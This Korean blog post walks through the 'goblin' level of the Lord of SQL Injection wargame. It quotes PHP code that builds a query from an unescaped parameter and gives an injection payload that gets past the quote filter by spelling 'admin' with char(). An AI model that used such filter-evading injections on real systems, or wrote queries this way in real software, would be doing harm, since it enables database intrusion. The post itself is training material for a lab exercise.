티스토리 뷰

Web_Hacking/LOS

[LOS] goblin

MitNy 2017. 8. 10. 15:51



cobolt 를 풀고 goblin으로 넘어오면 

id 값은 guest로 고정이고 no 값만 입력받는 쿼리문이 있다.


<?php 

  include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>



' , " 등이 필터링 대상이기 때문에 쓸 수 없다.







no 값이 1일때, Hello guest 가 뜬다.

예상되는 구조는 다음과 같다.


no = 1

 guest 

 no = 2 

 admin


id가 guest로 고정이기 때문에 no=2 를 넘겨도 id는 admin이 되지 않는다.

그렇다면 no값도 주고 id값도 admin으로 줄 수 있도록 하면 되지 않을까



?no=0%20or%20id=char(97,100,109,105,110)


이런식으로 직접적으로 admin을 넣어주지 않고 char 를 써주면 97 100 109 105 110이 admin이 된다.

그리고 no에는 guest의 no 값인 1을 넣어주면 풀리지 않는다.





'Web_Hacking > LOS' 카테고리의 다른 글

[LOS] orge  (0) 2017.08.13
[LOS] darkelf  (0) 2017.08.13
[LOS] wolfman  (0) 2017.08.12
[LOS] orc  (0) 2017.08.12
[LOS] cobolt  (0) 2017.08.10
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함